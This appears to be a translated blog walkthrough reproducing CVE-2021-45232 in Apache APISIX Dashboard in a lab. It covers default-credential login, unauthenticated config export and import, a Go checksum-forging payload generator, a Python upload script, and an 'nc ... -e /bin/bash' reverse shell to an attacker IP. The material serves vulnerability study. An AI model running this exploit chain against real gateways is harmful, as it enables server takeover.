Apache APISIX Dashboard Unauthorized Access Vulnerability (CVE-2021-45232)


Disclaimer: This article is for learning and reference only. All resources involved in it are from the Internet. Please do not use them for any illegal acts, otherwise you will bear the corresponding consequences yourself, and I do not assume any legal and joint and several liabilities.

Vulnerability description

Apache APISIX is a dynamic, real-time, high-performance API gateway that provides rich traffic management functions such as load balancing, dynamic upstream, gray release, service fuse, identity authentication, and observability. Apache APISIX Dashboard enables users to operate Apache APISIX through the front-end interface. The vulnerability exists due to a bug in the Manager API. The Manager API introduces the droplet framework based on the gin framework, and all APIs and authentication middleware are developed based on the droplet framework. But some APIs directly use the interface of the framework gin, thus bypassing the authentication.

Sphere of influence

Apache APISIX Dashboard < 2.10.1

Environment deployment

via git clone apisix-docker

git clone https://github.com/apache/apisix-docker
cd apisix-docker/example/

Modify docker-compose.yml

apache/apisix-dashboard:2.7
apache/apisix:2.6-alpine

insert image description here
Then, docker-compose up -d starts the environment

After the environment is up, the browser accesses the apisix dashboard through the default port 9000

insert image description here

Background RCE

Since the default account and password of apisix dashboard is admin:admin, we first log in to the background to verify a remote command execution

insert image description here
First create an upstream service, click Create, name it whatever you want, and fill in the service for the target node to forward the request. Here we fill in the Grafana application attached to the docker, the port number is 3000, click Next, and submit.

insert image description here
insert image description here
Secondly, create a route, the name can be arbitrary, and the path can also be customized. Click Next, select the upstream service we just created, and finally, submit it.
insert image description here
insert image description here
insert image description here
insert image description here
View the created route
insert image description here
Go back to the route configuration page, click Configure, and then continue to the next step until submission, use BurpSuite to capture packets

insert image description here
insert image description here
Then in the body of the request packet, after adding a script field, send the request.

"script": "os.execute('touch /tmp/Keepb1ue')"

insert image description here

Check again, routing configuration information

insert image description here
Next, let's visit: http://192.168.10.171:9080/rce111

Check in docker to see if the file Keepblue has been created

insert image description here

Unauthorized interface RCE

If there is no default password or weak password, then we use the unauthorized interface to perform RCE

/apisix/admin/migrate/export
/apisix/admin/migrate/import

First, export the configuration file using /apisix/admin/migrate/export

Because it is unauthorized, so in the case of not logging in, after BP captures the packet, the request interface is changed to /apisix/admin/migrate/export, and after clicking send, you can see the configuration file information

insert image description here

When importing a configuration file, the checksum value of the configuration file will be verified. In fact, the checksum verification value can be calculated by writing a script, or a new checksum value can be calculated according to the source code of apisix

The source code location is: ExportConfig function of apisix-dashboard-master\api\internal\handler\migrate\migrate.go

Extract its calculation source code separately, and replace and insert the RCE statement with the configuration (data) that needs to be imported

package main

import (
    "encoding/binary"
    "fmt"
    "hash/crc32"
    "io/ioutil"
    "os"
)
func main() {
    
    
    gen()
}
func gen() {
    
    
    data := []byte(`{
    
    "Counsumers":[],"Routes":[{
    
    "id":"403141558204891851","create_time":1649820693,"update_time":1649821490,"uris":["/rce111"],"name":"lyroute","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')","script_id":"403141558204891851","upstream_id":"403140847589130955","status":1}],"Services":[],"SSLs":[],"Upstreams":[{
    
    "id":"403140847589130955","create_time":1649820270,"update_time":1649820270,"nodes":[{
    
    "host":"192.168.10.171","port":3000,"weight":1}],"timeout":{
    
    "connect":6,"read":6,"send":6},"type":"roundrobin","scheme":"http","pass_host":"pass","name":"lytest"}],"Scripts":[{
    
    "id":"403141558204891851","script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')"}],"GlobalPlugins":[],"PluginConfigs":[]}`)
    checksumUint32 := crc32.ChecksumIEEE(data)
    checksumLength := 4
    checksum := make([]byte, checksumLength)
    binary.BigEndian.PutUint32(checksum, checksumUint32)
    fileBytes := append(data, checksum...)

    content := fileBytes
    fmt.Println(content)

    importData := content[:len(content)-4]
    checksum2 := binary.BigEndian.Uint32(content[len(content)-4:])
    if checksum2 != crc32.ChecksumIEEE(importData) {
    
    
        fmt.Println(checksum2)
        fmt.Println(crc32.ChecksumIEEE(importData))
        fmt.Println("Check sum check fail, maybe file broken")
        return
    }
    err := ioutil.WriteFile("apisixPayload", content, os.ModePerm)
    if err != nil {
    
    
        fmt.Println("error!!")
        return
    }
}

Running this script will generate the file apisixPayload

insert image description here

This is the new configuration file that we want to import to calculate the check value, and then use the python code to simply pass it to the server

import requests
url = "http://192.168.10.171:9000/apisix/admin/migrate/import"
files = {
    
    "file": open("apisixPayload", "rb")}
r = requests.post(url, data={
    
    "mode": "overwrite"}, files=files)
print(r.status_code)
print(r.content)

insert image description here

On the attacking machine, enable nc monitoring

insert image description here
Next, access the routing address (http://192.168.10.171:9080/rce111) to trigger remote command execution

View nc rebound shell

insert image description here

The rebound is successful, indicating that the command has been executed

Guess you like

Origin blog.csdn.net/guo15890025019/article/details/129503731